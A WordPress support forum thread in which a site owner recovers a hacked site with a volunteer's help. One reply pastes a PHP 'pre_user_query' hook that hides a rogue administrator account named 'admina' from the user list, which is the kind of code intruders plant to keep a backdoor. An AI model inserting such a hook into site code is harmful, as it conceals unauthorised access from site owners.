Viewing 8 replies - 1 through 8 (of 8 total)
  • bdbrown

    (@bdbrown)

    Hi mikuberries.

    I was able to remove it yesterday.

    Not sure what process you used but you should read and follow this guide:
    https://codex.wordpress.org/FAQ_My_site_was_hacked

    When you’re done, you may want to implement some (if not all) of the recommended security measures here:
    https://codex.wordpress.org/Hardening_WordPress

    Thread Starter mikuberries

    (@mikuberries)

    I just did what my website host instructed me to do and I don’t know what else to do. I checked that link you sent me and thats basically what I did yesterday, but I was still getting errors.

    If I run Securi SiteCheck on my personal computer, it says it doesn’t have malware. If it run it on my work computer, it says it does have malware and its not updated.

    I don’t know what else to do when I can’t even log into my website. I was able to install WordFence AND Securi on it yesterday, but now it won’t let me log in. I have already done everything I am able to do on my own.

    bdbrown

    (@bdbrown)

    If I run Securi SiteCheck on my personal computer, it says it doesn’t have malware. If it run it on my work computer, it says it does have malware and its not updated

    This is logged in to the same site admin from two different computers?

    Thread Starter mikuberries

    (@mikuberries)

    I’m sorry, I am not understanding the question…

    I cannot log into my WordPress admin at all, from either computer. The results I am receiving are from using the Securi Site Check.

    bdbrown

    (@bdbrown)

    I just ran the Securi SiteCheck on your site and didn’t receive any indications of malware. Here are a couple of resources that might help you regain access to your site:
    https://www.aabacosmallbusiness.com/advisor/cannot-login-wordpress-admin-area-5-solutions-113533282.html
    https://codex.wordpress.org/Login_Trouble

    Thread Starter mikuberries

    (@mikuberries)

    Well…

    Bad news.

    I tried everything on both the links you provided and I am still unable to log in.

    I get this error on http://www.lovestarr.net/wp-login.php

    ERROR: Cookies are blocked due to unexpected output. For help, please see this documentation or try the support forums.

    I already cleared my cookies and made sure it was setup correctly and it did not change the error… I use Chrome.

    On my http://www.lovestarr.net/wp-admin/ page, all I get is a blank page and this:

    add_action(‘pre_user_query’,’yoursite_pre_user_query’); function yoursite_pre_user_query($user_search) { global $current_user; $username = $current_user->user_login; if ($username != ‘admina’) { global $wpdb; $user_search->query_where = str_replace(‘WHERE 1=1’, “WHERE 1=1 AND {$wpdb->users}.user_login != ‘admina'”,$user_search->query_where); } }

    If I disable the themes, it gets rid of the error, BUT it continues to show a blank screen.

    I uploaded a fresh wp-login.php file and nothing. The more advanced attempts to fix this are beyond my level of experience and expertise. I don’t want to mess something up beyond what it is…

    I don’t know what to do anymore.

    Thread Starter mikuberries

    (@mikuberries)

    I fixed it. There was something wrong with the wp-config.php file. Just uploaded a fresh version and deleted the old one. Problem solved.

    bdbrown

    (@bdbrown)

    Five minutes ago I tried your site link and the login and admin links; all three were prompting to start the WordPress configuration. I just tried them again now and your site is now active, and the login and admin links give me a WP login screen.
    And I just saw your post above. So, is everything back to normal now?

Viewing 8 replies - 1 through 8 (of 8 total)

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